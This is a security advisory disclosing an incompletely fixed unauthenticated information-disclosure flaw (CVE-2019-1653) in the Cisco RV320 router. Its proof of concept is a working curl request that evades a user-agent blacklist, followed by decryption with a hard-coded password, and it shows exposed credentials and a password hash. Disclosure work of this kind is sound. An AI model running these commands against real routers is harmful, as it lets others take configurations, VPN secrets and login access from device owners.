Cisco RV320 Unauthenticated Diagnostic Data Retrieval

`Advisory: Cisco RV320 Unauthenticated Diagnostic Data Retrieval  
  
RedTeam Pentesting discovered that the Cisco RV320 router still exposes  
sensitive diagnostic data without authentication via the device's web  
interface due to an inadequate fix by the vendor.  
  
  
Details  
=======  
  
Product: Cisco RV320 Dual Gigabit WAN VPN Router, possibly others  
Affected Versions: 1.4.2.15 through 1.4.2.20  
Fixed Versions: none  
Vulnerability Type: Information Disclosure  
Security Risk: high  
Vendor URL: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info  
Vendor Status: working on patch  
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2019-004  
Advisory Status: published  
CVE: CVE-2019-1653  
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1653  
  
  
Introduction  
============  
  
"Keep your employees, your business, and yourself productive and  
effective. The Cisco RV320 Dual Gigabit WAN VPN Router is an ideal  
choice for any small office or small business looking for performance,  
security, and reliability in its network."  
(from the Cisco RV320 product page [1])  
  
  
More Details  
============  
  
The Cisco RV320 Dual Gigabit WAN VPN Router provides a web-based  
configuration interface, which is implemented in various CGI programs in  
the device's firmware. Access to this web interface requires prior  
authentication using a username and password. Previously, RedTeam  
Pentesting identified a vulnerability (rt-sa-2018-003) [2] in the CGI  
program:  
  
/cgi-bin/export_debug_msg.exp  
  
By issuing an HTTP POST request to this program, it was possible to  
retrieve various diagnostic information from the device, including its  
current configuration. This request did not require any prior  
authentication. Cisco adressed this vulnerability in firmware version  
1.4.2.19 [3].  
  
RedTeam Pentesting discovered that the CGI program in the patched  
firmware is still vulnerable. The user agent "curl" is blacklisted by  
the firmware and must be adjusted in the HTTP client. Again,  
exploitation does not require any authentication.  
  
  
Proof of Concept  
================  
  
The diagnostic data can be retrieved by issuing an HTTP POST request to  
the vulnerable CGI program. OpenSSL is used to decrypt the data with the  
hard-coded password "NKDebug12#$%" before unpacking it with tar (output  
shortened):  
  
------------------------------------------------------------------------  
$ curl -k -A kurl -X POST --data 'submitdebugmsg=1' \  
'https://192.168.1.1/cgi-bin/export_debug_msg.exp' > debug  
  
$ openssl aes-128-cbc -salt -md md5 -d \  
-k 'NKDebug12#$%' < debug > debug.tgz  
  
$ mkdir output && tar -xf debug.tgz -C output/  
  
$ ls -1 output/  
debug_messages.txt  
etc.tgz  
nk_sysconfig  
var.tgz  
  
$ cat output/nk_sysconfig  
####sysconfig####  
[VERSION]  
VERSION=73  
MODEL=RV320  
SSL=0  
IPSEC=0  
PPTP=0  
PLATFORMCODE=RV0XX  
[...]  
[SYSTEM]  
HOSTNAME=router  
DOMAINNAME=example.com  
DOMAINCHANGE=1  
USERNAME=cisco  
PASSWD=066bae9070a9a95b3e03019db131cd40  
[...]  
------------------------------------------------------------------------  
  
  
Workaround  
==========  
  
Prevent untrusted clients from connecting to the device's web server.  
  
  
Fix  
===  
  
None  
  
  
Security Risk  
=============  
  
This vulnerability is rated as a high risk as it exposes sensitive  
diagnostic information, such as the device's configuration, to  
untrusted, potentially malicious parties. By retrieving this  
information, attackers can obtain internal network configuration, VPN or  
IPsec secrets, as well as password hashes for the router's user  
accounts. Knowledge of a user's password hash is sufficient to log into  
the router's web interface, cracking of the hash is not required. Any  
information obtained through exploitation of this vulnerability can be  
used to facilitate further compromise of the device itself or attached  
networks.  
  
  
Timeline  
========  
  
2018-09-19 Original vulnerability identified  
2018-09-27 Customer approved disclosure to vendor  
2018-09-28 Vendor notified  
2018-10-05 Receipt of advisory acknowledged by vendor  
2018-10-05 Notified vendor of disclosure date: 2019-01-09  
2018-11-18 List of affected versions provided by vendor  
2018-12-21 Postponing disclosure to 2019-01-23, as requested by vendor  
2019-01-22 Firmware 1.4.2.20 released by vendor  
2019-01-23 Advisory (rt-sa-2018-003) published  
  
2019-02-07 Incomplete mitigation of vulnerability identified  
2019-02-08 Proof of concept sent to vendor  
2019-02-08 Receipt of proof of concept acknowledged by vendor  
2019-02-15 Full advisory sent to vendor  
2019-02-15 Notified vendor of disclosure date: 2019-03-27  
2019-03-25 Requested progress update from vendor  
2019-03-25 Vendor requests postponed disclosure  
2019-03-25 Postponement declined  
2019-03-27 Advisory published  
  
  
References  
==========  
  
[1] https://www.cisco.com/c/en/us/products/routers/rv320-dual-gigabit-wan-vpn-router/index.html  
[2] https://www.redteam-pentesting.de/advisories/rt-sa-2018-003  
[3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190123-rv-info  
  
  
RedTeam Pentesting GmbH  
=======================  
  
RedTeam Pentesting offers individual penetration tests performed by a  
team of specialised IT-security experts. Hereby, security weaknesses in  
company networks or products are uncovered and can be fixed immediately.  
  
As there are only few experts in this field, RedTeam Pentesting wants to  
share its knowledge and enhance the public knowledge with research in  
security-related areas. The results are made available as public  
security advisories.  
  
More information about RedTeam Pentesting can be found at:  
https://www.redteam-pentesting.de/  
  
Working at RedTeam Pentesting  
=============================  
  
RedTeam Pentesting is looking for penetration testers to join our team  
in Aachen, Germany. If you are interested please visit:  
https://www.redteam-pentesting.de/jobs/  
  
--   
RedTeam Pentesting GmbH Tel.: +49 241 510081-0  
Dennewartstr. 25-27 Fax : +49 241 510081-99  
52068 Aachen https://www.redteam-pentesting.de  
Germany Registergericht: Aachen HRB 14004  
Geschäftsführer: Patrick Hof, Jens Liebchen  
`